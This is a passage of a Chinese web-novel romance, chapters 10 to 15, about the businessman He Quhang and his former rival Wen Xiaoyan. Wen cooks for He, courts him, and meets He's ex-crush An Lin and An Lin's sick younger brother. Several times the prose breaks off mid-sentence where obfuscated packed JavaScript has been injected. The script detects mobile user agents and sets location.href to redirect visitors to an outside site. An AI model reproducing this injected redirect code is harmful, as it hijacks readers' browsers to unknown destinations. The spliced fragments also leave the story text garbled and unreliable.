怎样的画作还会不太好拍照?贺曲航心头不解起来,但是又保持着全然无所谓的态度,只说有时间会去。 助理应声收到,贺曲航思索再三,还是拨通了安林的电话。 对方昨天下午打来的电话他没有接。从竞争失败起他就基本不主动接触安林了,而安林虽然开始喜欢来找自己,但大多数的话题还是工作。 “曲航?”安林接的很快,声音清透如常,“你昨天是在忙吗?” 贺曲航嗯了一声:“安先生,昨天打电话是…?” “你说这个。”安林柔和了声线,自然地邀请道,“最近我新设计了一款耳钉,感觉很适合你,下午来工作室试戴一下?” “下午有约。”安林之前也给他设计过胸针之类的小玩意,不过那都是和闻萧延一人一个的款式,贺曲航想起被他昨天随手放到门口柜台的小盒子,冷淡地礼貌打太极道,“改天有时间会去的。” 安林有些失落,但表现出很善解人意的态度,道:“那我等你。” 贺曲航挂断了电话。 闻萧延来敲他门是下午两点的时候。他没有存贺曲航的电话号码,又不屑于去找安林要,于是熟门熟路地拐进了楼道就去敲他的门。 “下午好啊,贺先生。”闻萧延挑眉,“我来接你吃饭。” ‘先生’两个字被闻萧延刻意加重了音节,贺曲航还是一身睡袍,绑带松松垮垮地系在腰间,健硕发达的胸肌一半裸漏在外,脸上是平淡冷漠的神情,他扫了一眼手腕上手表显示的时间,似笑非笑地点点头:“这个点,吃饭?” 闻萧延极力收敛自己不断往他满胸膛春色飘移的视线,脑海里的黄色废料还没开始加工,就被突然浮现出的‘难道他见谁都这样开门’的不爽占据。 “那是我来早了。”他喉结滚动,向前微微倾身,手撑住门边沿,被刷地黑亮的皮鞋一半踏入室内,勾唇笑起来,“不请我进去?” 闻萧延本身就比他高两厘米,此刻在皮鞋自带短跟的加持下,轻易就能以微微俯身的姿势看到贺曲航眼下的浅痣。他向前倾身时两个人挨得更近,仿佛已经将贺曲航整个人包裹。 薄荷香水与柑橘洗发露的气息混杂在一起,飘进闻萧延的鼻腔,他看到贺曲航左耳上三颗富有质感的紫色碎钻,不由得再次挑眉。 闻萧延今天穿的刚好是白紫色的皮制休闲服。里面黑色衬衣的下摆扎进灰色牛仔裤里,整个人都散发着不正经的肆意。 他伸出手替贺曲航拢起大开的睡袍,不经意间划过他的胸肌,将睡袍的两片布料合拢在自己手心里摩挲,眼神暗沉,嘴上却体贴道:“在家也要注意形象,如果敲门的是心思不正的小人,贺先生现在可就已经羊入虎口。” 贺曲航自认是一个一米八七的成年男人,体型并非纤瘦的类型,并没有值得别人窥视的地方。从闻萧延的手里将自己的衣服拯救回来,只当他是在另类的阴阳怪气。 贺曲航侧身向屋内走去,无视他的话语,回眸留下深邃的目光,黑若点墨,道:“我去换衣服,请便。” 闻萧延跟着他进门,顺手关门时被他那一眼看的喉咙干涩,觉得自己今天的身体反应真是怪异到极致。脑海里又浮现出贺曲航刚刚开门的身型,后悔以自己平日里的作风来看,怎么没有直接上手去捏。 他完全不拿自己当外人,看着贺曲航的身影从二楼拐角消失,摸到摆满了各种酒水的橱窗,交叠双腿,靠在桌边拿起一个倒扣着的素文玻璃杯。 贺曲航现在已经戒酒,他的家里平日里也没什么人会来,好酒摆满了一整个橱窗也无人品鉴,闻萧延不客气地起了一个自己平日最喜欢的牌子,悠闲地倒了满杯,才想起自己一会儿是要开车的。 这有什么。低度数而已。 按往常闻萧延的处事风格早就一口干了,他酒量极好,这种低度数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775906|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的酒对他毫无任何影响。况且违反犯纪惯了,之前小酌后载着安林上路也不是没有过。但闻萧延又想,不行,一会儿副驾驶要坐的人是贺曲航。 他猛地放下酒杯,又拆了柜子下的瓶装矿泉水。应该是某次活动的品牌方定制的,瓶装水小小一瓶,但瓶身设计异常精致,看着就价格不斐。 贺曲航换了一身灰紫色的西装大衣,纵使闻萧延这些年看惯了他穿各种西装的样子,也不得不承认贺曲航每一次出现都是与上次有所区别的性感。 他怎么以前只觉得对方哪哪都不顺眼。 贺曲航现在觉得他有点不顺眼。 闻萧延完全是以一副主人的姿态靠在那里,亮色的外套与这间暗冷色调的公寓格格不入,把喝完的矿泉水瓶单手捏成一团,对着不远处的垃圾桶做出投篮的标准姿势。 被捏成一小团的塑料以抛物线的弧度飞入垃圾桶内,动作流畅且富有美感,简直满分。 可惜无人观看他这场华丽的作秀,贺曲航满脸写着冷漠,态度不容置疑地让他把橱窗里的东西摆放整齐。 他不说闻萧延也会收拾,但是既然说了,闻萧延握住杯身,从桌子的这一边一路推到贺曲航眼下,盯着他墨般的黑眸,诱惑道:“来一杯?” “戒酒。”贺曲航毫不领情,语气里泛了些冷意。 闻萧延自然也想到之前那场相互之间不愉快的酒局。俊美的脸上浮现几分思索,过了几秒,他果断低头道:“之前是我错了。” 那天贺曲航的告白和他摔碎酒瓶的砸场信号同时响起,紧接着而来的就是从醉意中清醒的贺曲航看清他时一拳砸来的、骨头与肉/体碰撞的闷声。 闻萧延现在想起胸口都闷声作痛。当时他为了防止安林答应而故意打断。大丈夫能屈能伸,虽然他不认为之前处于情敌敌对状态时自己的做法有哪点不对,但他现在果断认错。 贺曲航和他竞争良久,不用猜也都知道他心里是如何想的。他不会对已经发生过的事情纠缠不放,不在意的、过去了的他向来不记在心上,不然活着得有多么劳累。 但是闻萧延低头认错,这情节并不多见。贺曲航手指轻叩杯身,高高在上地凝视着他,末了随意开口道:“你不用道歉。” 贺曲航拿起杯子象征性地抿了一口,右手中指带了一圈银色的素戒,衬的那双手指节更为修长。闻萧延觉得很是适配,抬起头从手移到脸,眼里只有贺曲航湿润的唇瓣,那里沾染了酒水,闪过盈润的光泽。 贺曲航天生薄唇,唇色温玉,就是不知道亲起来什么模样。 闻萧延盯着盯着,反应过来贺曲航话语里内含的意思,这才姿态散漫地低声笑起来:“给你认错的事情,怎么能一概而论。” 11. 第 11 章 闻萧延滴酒未沾地邀请贺曲航上他的副驾驶座,他今天开的还是那辆低调奢华的黑色轿车,和他一贯的张扬姿态很是不符。 贺曲航这次没有去挽西装大衣袖口。他看着面前不知为何隐约有些得意的男人,思索了一秒,伸出胳膊想去拉开他的后座。 闻萧延对于他又不愿意坐自己身边这件事表现出一瞬间的失望,但是伴随着贺曲航突然收回手拐入副驾驶座位的动作,他不由得促狭一笑,将胳膊搭在车门上,闲散打趣道:“今天不拿我当司机了?” 贺曲航系上安全带,笑了下:“你想当也可以满足你。” “那还是算了。”闻萧延笑道,俯身把贺曲航身上打结的安全带抚平,快速的关门上车。 贺曲航口腹之欲不高,他没有什么没吃过的,也没有什么特别喜欢的。闻萧延开到哪就算哪里,就算开到像上次一样压根吃不饱的餐厅他也没什么意见。 所幸也只是陪他吃一顿饭。不知道闻萧延又在打着什么主意。 车缓缓经过层叠的高楼与大夏,开到一个偏僻幽静的竹楼小院里。最中心是三层高的复式阁楼,院外是一片微黄色的竹子,透露着一副祥和宁静的氛围。 有人恭敬地替闻萧延拉开车门,他迈开腿绕车半圈到副驾驶座,伸手欣欣然邀请贺曲航下车,眉宇间笑意浮现,挑眉说:“请吧,贺先生。” 贺曲航眉目俊冷,在十多个侍者好奇疑惑的目光下踏出车门。 一行人上了顶楼就座。贺曲航从没听说过这里还有餐厅,应该是属于闻萧延的私人房产。 闻萧延不知为何心情很好地哼着小调,见他向不远处的大片竹林方向沉默着眺望,胳膊屈起搭在后方的椅子背上,懒洋洋地问他:“你喜欢这里?” 有一个穿着古装的年轻女性在不远处现场沏茶,贺曲航抿了一口刚刚端上来的茶水。阁楼里的暖气开的很足,他只穿着素灰色的高领毛衣,眉目都变得温和起来。 “还不错。”贺曲航说,“很适合放松。” 闻萧延盯着他的脸,简直越看越是欢喜。语气很是随意地开口:“那我送给你。” “浅尝辄止。”闻萧延最近的一系列行为都太过奇异,贺曲航不想知道他又在抽哪门子疯,但是对于两个人关系不再那样剑拔弩张的转变也接受良好,“偶尔看看就可以了。” 闻萧延换了个姿势,左小腿搭到右大腿上,手里把玩着一旁的核桃模型,闻言若有所思道:“是吗?那要是看不够怎么办?” 贺曲航沉吟片刻,语气淡然:“看的多了也会腻的。” 闻萧延没有再接话。古装女子沏完茶消无声息地退场,门外走廊站着的几个侍者鱼贯而入地开始摆盘,刀工精湛的水果,摆放精致的菜品,了了望去,简单的菜色也香味俱全。 闻萧延目光热烈而明亮,每上一个菜脸上就愈加得意几分,神采飞扬,双目炯炯地盯着拿起筷子的贺曲航。 贺曲航被他盯的心觉怪异。 难道菜品有毒?他皱起眉,应该不至于吧。 阁楼的小房间里此刻只有他们两个人。但从镂空的屏扇可以看到门外的走廊里站了一堆,贺曲航拿着筷子沉脸思索着,半响没有下一步的动作。 对面的闻萧延还在询问:“怎么不吃?” “客随主便。”贺曲航温和开口道,“你先。” 闻萧延半信半疑地拿起筷子,对于他突如其来的礼貌略微不解,反应过来后不觉过于好笑,于是如他所愿地拿起公筷都夹了一口到碗里。 入口是熟悉的味道,闻萧延自认虽然不比五星大厨,但是菜品不至于难以下咽。 “放心了?”闻萧延古怪地说,“有时候真想知道你脑子里是怎么想的。” 贺曲航拿起筷子动口。 “你做的?”贺曲航问。他自然也会做饭,一口就尝出与外面餐厅菜品的不同,结合起闻萧延一路得意洋洋的神色,一切都有了解释。他在外对人向来不吝啬自己的夸奖,只道:“味道很好。” 闻萧延嘴角很受用地翘起:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775907|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实有几年没做了,还是略显生疏。”他这一手的厨艺都是在国外留学时练出来的,回国后家里有厨子外面有饭馆,自然不用自己动手。 而贺曲航是那几年给安林做饭学成的,安林胃不好,重油重盐的很多都吃不了。但竞争结束后他也懒得重启炉灶,对于这方面向来没什么需求,一直都是象征性对付一口。 闻萧延的手艺很合贺曲航胃口,成年男人的食量不小,但好在菜量很足,两个人此刻在一个饭桌上吃饭,气氛莫名的有几分和谐起来。 吃完饭闻萧延邀请他一起去竹林里钓鱼,贺曲航拒绝了,说他要抽时间去趟警局。 “去那干什么?”闻萧延不解地眯眼表露疑惑,但即刻想起什么,嗤笑一声,“我大概知道了。” 安林的设计品被警局暂时扣押,因为出了遗失珠宝的事情,最近在陆陆续续地核对。闻萧延都忘了自己是为什么在警局备案的了,也可能是自己当初想着送给他,但是把东西遗留在了别墅里。 警方前几天还打电话告知闻萧延说有一个雕塑的名字被命名为“写给闻萧延的情书”,询问他要不要来看一下,闻萧延压根不想弄清楚安林刻的什么写的什么,只说从哪来的送回哪去。 过去的就让他过去,他从来不屑于吃回头草,也懒得知道被他甩了的前任之前对他的感情是如何。但是被事无巨细地一个个报道上来,他不想知道都有点难。 “不去了呗。”闻萧延看着他的神情超经意间开口,“无非是一些艺术品,也没什么重要的。” 闻萧延顿了下,有些不悦地悄声补充问道:“难不成你还在意?” “那倒没有。”贺曲航神色不变,听到这句话笑了下,只是对是什么样的画作有些好奇,但并不是非看不可。 没有了感情,从前期待过的,哪怕现在得到也都成了废纸一张。 贺曲航勾起唇,侧眸时矜贵的面容浮上一丝温和又冰冷的矛盾情绪,他站起身将大衣披在身上,语气慢条斯理地开口道:“去钓鱼吧。” 12. 第 12 章 贺曲航在三周后还是看到了那副旷世神作。助理把它拿到了贺曲航家里,说这其实是安林三年前想要送给你的礼物。 闻萧延当时正在贺曲航家里做饭,他这近一个月内已经学会了不打招呼地上门和自来熟一般的随时突然出现,听到响声后靠在门上,暗沉着眸子勾唇,语气傲慢自然地插话道:“什么礼物,让我也看看。” 助理站在门口,听到闻萧延的声音瞬间吓了一跳,看清楚他的模样时下意识踏进来挡在贺曲航身前。回头看到自家总裁身上干干净净的衬衣。没有出现预想里阴阳怪气和打斗的场面,助理脸上泛起疑惑和不解,说道:“贺总?” 他出国办事一个月没有回来,这期间贺曲航的私人活动都是拜托给另一位秘书的。此刻对于闻萧延突然却理所应当的出现颇为震撼。 贺曲航还是那个气势充满压迫感的他所熟悉的男人,身着毛衣,身型俊美无双,神情如常地向他点点头,只让他把画作放进书房。 闻萧延顶起腮帮。画作用结实且隐蔽的黑色画布包裹,掩盖的严严实实,不能从外表窥探分毫。 助理盯着他,又看回贺曲航。抱着画作的胳膊又紧了几分。 “三年了,非要等到现在送。”闻萧延不屑地嗤笑起来,扫过助理进入书房的身影,盯着贺曲航没什么波动的脸庞,随便一想也知道那个人打的什么主意。 让贺曲航回头再爱上他?简直做梦。 贺曲航淡瞥他一眼,抬起腿也往书房走去,白色的高领毛衣上坠有银色的长款项链,留下一句不容置疑地:“多加香菜。” 闻大少爷每天变着花样登门来给他亲自做饭,他怎么能佛了对方好意。虽然不知道对方打的什么主意,看样子是势必要把两个人之间的关系搞好,左右没有一丁点坏处,贺曲航顺其自然地接受了。 只是两个人口味的确大相径庭,闻萧延已经被迫在这里吃了几周他最讨厌的香菜,闻言不加掩饰地皱了下眉,去看案板上已经切了一半的一大捆香菜。 贺曲航进书房时助理已经找了一个小角落把画作搁置完毕,完全没有要打开的意思。他回头时看到贺曲航站在身后,顶着他询问的神色,憋了半天,憋出来一句:“很艺术品。” 贺曲眉头一跳。 画作用防水胶布缠了几圈,助理顿了一下,拿出随身携带的剪纸小刀麻利地帮他剪开,全程保持着作品画面的倒扣,利落站起身说他先一步告辞。 贺曲航随意点了下头,助理前一脚刚从书房离开,后一脚闻萧延就熟门熟路地摸了进来。 “怎么不看?”闻萧延已经在门口站了半天,见他迟迟不动,眉宇轻蹙,不由得啧了一声,上前直接弯下腰把画作翻开。 闻萧延浮现几分震惊,这竟然是一副……也许在艺术家眼里赤身裸体也是正常的艺术风格,但是此刻闻萧延大为不悦,将画作粗/暴的靠在墙上,交叠起双腿环抱手臂,去看贺曲航的神色。 他想起一个月前来贺曲航家里时对方是穿着睡袍开门的,健硕发达的胸肌一览无余,不是经过健身房每天锻炼的紧致感,反而外形柔软。和画作上一比,显然安林还没有看过他的身体,不然怎么会画的那么平整。 闻萧延心情好上几分,连带着画作都顺眼不少。这副画作完全是画家自己的意淫,容貌和贺曲航别无区别的男人闭着眼睛躺在色彩斑斓的海浪里,而他是比一旁的七彩更为绚丽的存在。 人们常说画作可以反映一个人的内心映射。那么从三年前来看,安林毫无疑问的是喜欢贺曲航的,情绪浓烈到二维的画面都仿佛动态起来,似乎下一秒画作中间的男人就会睁开眼睛。 绚烂迷离,赤身却圣洁。贺曲航却只从中感受到了悲伤。他的经历再次回忆起时已经是别人的故事,于是只神色淡淡地自然指使道:“帮我挂上吧。” “挂哪?”闻萧延下意识接话,随即反应过来,皮笑肉不笑的听话地拿起画作,嘴上却咬牙切齿起来,“你还要挂上?” “画的挺好的。”贺曲航扬起眉眼说,“就挂楼梯那吧,麻烦闻先生了。” 闻萧延盯着他的脸看,心里明白贺曲航早都已经放下。也许其他人挂上画作是在怀念与回忆,但贺曲航这种行为却是彻底的不在意的表现。 那为什么还要挂上。闻萧延心里哪怕理解也颇为不爽,要是之前他大可直接冷哼开口,但今非昔比,他再表现出质疑的话贺曲航先会不悦。 贺曲航一向尊敬艺术。跟赠送者无关,画的好的送给自己的为什么不展示出来,安林的画作现在已经已经被他两人联合炒到近亿一幅,他自己想要还得去参与竞拍,平白得来的自然归自己所有。 闻萧延挂完画后切菜切的声音咚咚作响,贺曲航举着咖啡杯路过门口,想着这个月两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十七岁的年纪病情其实已经好转不少,除了每周必须的复查外已经可以在学校上学,与人正常交往。贺曲航能果断放下,但医生说:对于患病的孩子来说,你已经是他生命中不可或缺的一部分,直接消失未免有些过于残忍。 闻萧延皱起眉,强硬地说:“那我和你一起。” 13. 第 13 章 “贺先生,你喜欢星空吗?”方小年问。他泛着浅黄的白色短发乱糟糟的耷拉在额前,一张和安林相像的脸,却显得阴暗而死气沉沉。 他们在科室外等医生和方小年的姨妈谈话,闻萧延靠墙站在贺曲航身旁,手掌撑在贺曲航座椅上的扶手上,闻言哼笑起来:“小孩,你不喜欢?” 方小年蹲在地上完全不搭理他,只是睁着一双被刘海完全遮挡住的眼睛看着贺曲航,继续自顾自地问道:“妈妈说回乡下就能看到了,贺先生,你看到过吗?” 贺曲航垂眼看他,身着黑色的大衣,围了一圈灰色的围巾,半张脸被包裹住,衬得垂眸这个简单的动作也沾染了如春水般的清雅。 “看到过。”贺曲航温和道,伸手撩起他乱糟糟的碎发,问道:“学校怎么样?” “学校?”方小年歪了歪头,“我哥说我去学校后你就会来看我,没想到他说的是真的。” 他眨眨眼睛,继续道:“我哥不是什么好人。你真的要当我嫂嫂吗?虽然我活的不久,但绝对比我哥对你更好。” 闻萧延眉头一挑,意味深长地啧道:“你这小子,竟然跟你哥完全不一样……” 方小年看也没看他一眼,只扯住贺曲航的衣袖,神色认真地说:“你旁边站的这位追过我哥,也不是什么好人。贺先生,我们不要和他站在一起了。” 闻萧延低头看着贺曲航的眉眼,假性礼貌的耐心中带着真实的温柔,也许他是真的喜欢这个只有十七岁对他自然依赖的白化病男孩。 他最近见到贺曲航很多不一样的模样,感觉像是在开盲盒一样刺激,永远不知道下一个出现的会是什么。但是闻萧延想,他应该都会喜欢。 贺曲航笑起来,将方小年的碎发随手顺了顺,说:“那我们离他远一点。” 闻萧延在他旁边换了个姿势,侧头去看走廊的窗户。 卷发女人和医生轻声告别,提着包出来去揉方小年的头发。看向贺曲航的神色柔和似水:“贺先生,我们出去说吧?”而后向闻萧延微微点头示意。 她刚刚见这两个人是一起来时还有点惊讶,她是个普通的幼儿园老师,小辈的事情她不想掺合,隐隐约约了解这两位都是非富即贵的人。安林从未给她介绍过,对于他们之前共同追求安林的情敌关系也只是一知半解。 闻萧延她不常看到,但很喜欢贺曲航这个总是抽出时间来陪方小年的温和男人。 即使这个温和尔雅的人刚刚见面时说以后可能不会常来了。 “医药费安林早上打过来了,之前的他应该陆陆续续都会还给您,”卷发女人心里清楚那句话的意思就是以后不会再来的隐晦说法,毕竟从两年前开始贺曲航的态度就冷淡了许多,能坚持到现在也是不易,不由得思索道,“…但是年年他很喜欢你,他想您时可以去找您吗?” “我和他交换了联系方式。”贺曲航温和道,微微颔首点头。 一旁的方小年在对着闻萧延张牙舞爪地震慑威胁,闻萧延抱着胳膊不知道在说什么,嘴角勾着闲散自得的笑意,嘴一张一合就激的方小年蹲下身子直接把自己蜷缩地哭起来。 “年年!”卷发女人一直注意那里的动静,立刻小跑过去把方小年抱进怀里,看向闻萧延的目光带了些不悦的冷意。 闻萧延还保持着抱臂的动作,见他流畅地仿佛做了几百遍的一系列动作,一眼鉴定为假,不由得挑眉对走过来的贺曲航小声贴耳啧道:“我怎么感觉他病完全好了呢?” 方小年见他离贺曲航离得这样近,哭的更凶了。从姨妈怀里站起来抹了一把眼泪,走过来扯住贺曲航的衣角:“他追过我哥,你不要和他在一起。” 贺曲航笑了下:“我也追过你哥。” “这个不一样。”方小年纠结道,“他一看就是个渣男,会让你不开心的。我就不会。” 闻萧延在一旁要被他茶言茶语的说法气笑了,怎么看这个白毛小子都不像是心理有病的模样,反而正常的有点过于会耍小聪明。 但他心里一想,对于自己和安林在一起的过往简直如前科一般如鲠在喉。 贺曲航好笑地揉揉方小年白色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻萧延那一天堪称豪迈的立下誓言,却感觉有一个重大的考验摆在自己面前,那就是他根本约不出来贺曲航。 贺曲航虽然不至于日理万机,但是好歹也是一家大型公司的执行总裁,虽然有一位无比贴心的全能助理,但一些大型项目的合作也需要他亲自到场。 借口要和投资商聚餐,贺曲航已经用这个理由推了闻萧延连续一周提出的外出申请。 今天闻萧延倒是格外安静,只有早上上班时照例不见外地来他家问好。他身后的几个黑衣保镖人手一个提着小巧精致的竹制蒸笼站着,身量甚至还没有闻萧延高,如果不是穿一身黑,在外还看不出来是谁要保护谁。 闻萧延眉头一挑,手掌一撑,往门口一站,看着贺曲航就要听他夸自己的手艺。 贺曲航虽然口腹之欲不高,但闻萧延做的饭实在符合他的胃口。他没有早上吃饭的习惯,有时候身体不舒服时会突发急性肠胃炎,闻萧延天天送饭后这种状况也改善了不少。 不吃白不吃,秉持着礼尚往来的原则,贺曲航向来对于这种言语的表达从不吝啬。毕竟只是随口一说的事情,而他对外的表面功夫一直很有一套。 天气转凉入冬,贺曲航照常踩点下班,助理跟着他去地下车库。 晚上要见的这位投资商是三天前发邮件说要加注的,贺曲航公司刚起步时教过他一些东西,公司新产品在国外上市后也帮忙做了不少宣传,按理来说就算不加注也应该约出来感谢一下。 谈加注合约的地点在市内一个出名的酒楼,著名办公谈事圣地,唯一的缺点就是没有地下停车场,助理把车停在酒楼门口划分给贺曲航的专属车位上,下车前往身上贴了四个暖宝宝,再塞给贺曲航两个暖手宝。 就几步路,也不需要武装的这么全面。贺曲航随手把暖手宝塞进大衣口袋,被引着上了顶楼的包厢。 包厢不小,圆桌上摆着餐前小食品,一里一外坐着两个人。 靠门的是一个面容祥和的中年男人,西装革履,正襟危坐,是那名姓周的投资商。 闻萧延就跟个二大爷一样坐在包厢最里侧,黑色高领叠穿深蓝色花纹西装衬衣,拿着菜单皱眉一目十行地扫,贺曲航进门时仿佛有感应一样抬头,把奏折一样的菜单随手甩到桌子上,勾着唇笑起来:“怎么穿这么厚,跟个小宝宝似的。” 贺曲航一如既往的高领毛衣和灰色西装大衣,不知道他又是哪里得出来的这句话,把西装大衣挂在门口的衣架上,向同样看过来的周总点头问好。 周总在商场上待了四十多年,坐到现在这个位置上,凭年龄和资质都可以傲视绝大多数人,听到闻萧延刚刚的话语也和没有听到一样面色如常,只是在心下诧异这两位的关系,连忙起身笑道:“外面可真冷啊,曲航,快过来坐。” 闻萧延撑着胳膊看着他入座,食指和中指之间夹着一根木雕的长筷,速度很快地在他手心里旋转。 “您两位既然认识的话,我就不多介绍了。”周总招呼一旁地服务生给贺曲航倒茶,又看向闻萧延说,“我周某呢,今天不过是个中间人,既然人到了,我就先离场了?” “自然。”闻萧延意味深长地笑,“您大可放心,那件事明天就可以出结果。” 周总连忙应声,再向贺曲航点点头,说加注的合同已经发给助理,他先一步离开。就紧赶慢赶地和服务生一起走出,顺便闭上了包厢的门。 贺曲航喝了一口茶水,即使神情谦逊,靠坐在那里也带着一层别样的傲意,开口道:“闻…” “我明明可以去你家做饭但是却非要把你骗来这里?”闻萧延抢在贺曲江声音落下前先一步开口,又笑着伸手,毫无抱歉之意道,“就这一次,我以后绝对不□□的话。” 贺曲航扫他一眼,继续问出自己刚刚想问的话:“你答应了他什么?” “你猜?”闻萧延盯着他银白色的三颗耳钉,抬腿微微用力一蹬,把自己滑到贺曲航身旁,单手撑着脸又感慨说,“其实我觉得你戴流苏会好看一点。” 贺曲航怎么不知道这家的椅子换成了带滑轮的。他放下茶杯,轻飘飘道:“比如你送的那个?” “比如我送的那个。”闻萧延赞同的点头,期待道,“你怎么这样懂我。” 贺曲航笑了下,在他的目光下抬起腿,闻萧延凑近了点,却只来得及看到他眼下的两颗浅痣在自己眼前一闪而过。 那条被西裤包裹着的长腿紧致有力,腰腹微微向后靠时呈现出流畅的弧度。他用黑色的皮鞋踩住闻萧延椅子下的横梁,毫不客气地发力,让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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往常闻萧延过生日都会有一群狐朋狗友跟随祝贺,贺曲航最近没见到他们有在进行布置,也还真不清楚他什么时候生日,那就暂且当他说的是真的。 贺曲航一向不在意这个,自己的生日如若不是助理提醒都会忘记。安林……嗯,也被他忘了。 他明天没有什么安排,闻萧延又这样点明出来,不给面子实在有点说不过去。贺曲航拿起筷子点了点服务生呈上的米饭,半晌在闻萧延灼热的目光下微微点了头,开口道:“可以。” 15. 第 15 章 助理发消息说他在楼下遇到了周总,后者又加了码,两个人站着把合同签了。 贺曲航一向有吃完饭散步的习惯,这里离他的公寓不远,走回去也不过二十分钟。助理处理完所有事情,在一楼蹭了一顿免费的饭后打算先行离开。 还没走到门口,在大厅徘徊的周姓中年人就眼尖地看到他,步伐矫健地走过来,明里暗里地想从他嘴里问出两个人现在的关系趋向。 助理哪里敢随便评判顶头上司的感情事迹,模棱两可地打了个话茬,再从对方手上骗来了更多的投资。 贺曲航对手机没有瘾,吃完饭看到时惯性地给与了夸赞和奖赏,他一向放心助理的办事能力。 闻萧延本身打算开车送他,了解他想法后又要跟着一路送他回去。他站起身自然地拿下置衣架上的灰色西装大衣递给贺曲航,勾着唇把一旁的黑色西装大衣套到了自己身上。 两个大衣款式一样、裁边一样、纹路也相仿。贺曲航这家是公司签约的设计师送给他的定制独家款,不知道闻萧延又从哪里搞到的同款。 走了十几分钟,基本都是闻萧延在说话。贺曲航没有戴围巾,微冷的风吹过来还是有些刺脸,冷白的肤色上只有鼻尖晕了些许的粉红,他把烟蒂含进嘴里低下头点燃,微弱的火光闪烁起来,他叹出很轻的白色雾气。 闻萧延对于这条路线如同回自己家一样熟,拐弯处转头的时候看到的就是这样的景色。 贺曲航发色是纯正的黑,肤色却偏冷白,叼着烟随意向前看着他,一张英俊的脸上没有什么其他的表情,夹杂着惯性温和的笑意,但鼻尖的红却为他抹上了一丝艳丽的色彩。 雾气模糊了两个人之间视线相交时的神色,闻萧延喉结滚动,下意识从口袋里摸出一根烟咬进嘴里,向后退着走了几步和他并齐,问:“你不冷吗?” 助理吃饭前塞给他的暖手宝还在兜里,贺曲航插着兜迈开腿,闻言抬眼反问:“你很冷?” 暖手宝的时效大约可以持续七小时,刚刚还在室内捂了很久,现在握着像一块煤球。贺曲航有两个,随手拿出一个向他抛过去。 闻萧延动作快速地稳稳接到手里。暖手宝是外表毛茸茸的异形潦草小狗形象,巴掌大一个,灰色的毛摸着触感极好,就是和贺曲航的外在形象一点也不搭配。 他摩挲着小狗的毛,塞进口袋,莫名其妙地笑起来:“贺曲航,你真可爱。” 贺曲航淡淡地回他:“我有时候也挺想知道你脑袋里都是些什么。” “以前不知道,”闻萧延若有所思道,“现在可能是你长着耳朵在床上的样子……”闻萧延说完下流话语,等了半天都没见贺曲航有什么反应,又笑起来,“诶,我还以为你会一拳砸过来。” “平白无故我为什么会上手。”贺曲航弹了弹烟,冷淡地笑了下道,“你有这个倾向?那我可以满足你。” “我应该以后也不会有这个倾向。”贺曲航不介意,那闻萧延全然就开始口嗨起来,他去瞄贺曲航胸前的吊坠,耸耸肩说,“但如果让我把你……” “曲航!”熟悉地声音在一旁响了起来。 闻萧延眼眸一眯,掏出一路都没能掏出来的打火机将烟点燃,今天第一次冷下了脸色。 贺曲航的公寓就在拐角前方,安林提着一个精致的白色袋子站在那里,穿着白色的长款羽绒服,清冷的神色望过来时带了点笑意。 “上次电话里说的耳钉。”安林轻声说,“想着可能你最近比较忙,我就给你送来了。” 贺曲航将烟头按灭在一旁地垃圾桶上,神色自如地接过,礼貌温和道:“最近是有点忙,麻烦你跑这一趟了。” “曲航,我……” “真难得的一幕。”闻萧延在一旁拖着语调嗤笑开口,“以前怎么没见你对他这么殷勤。” 安林这才发现闻萧延也在。不由得蹙眉道:“我们一直是这个相处方式。”他语气冷冷,“你又为什么会出现。” “如你所见啊——”闻萧延懒洋洋地点了点自己和贺曲航的同款西装,勾唇道,“我在追求贺先生。” 贺曲航插着兜站在那里,扫了眼他没有反驳,气质冷淡温润。 “你怎么可以?!”安林被他理所应当的态度震惊到了,觉得人怎么可以这样风流到厚颜无耻追求情敌的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安林蹙起眉头不甘地看着他,不知道他问这句话是什么意思。 “做梦。”闻萧延抬起手时,身旁又站了四个不知道从哪些角落里走出来的黑衣保镖,他神色冷酷而眼眸犀利,轻蔑道,“既然知道我的权势和手段,那就别再妄想自己得不到的东西。” 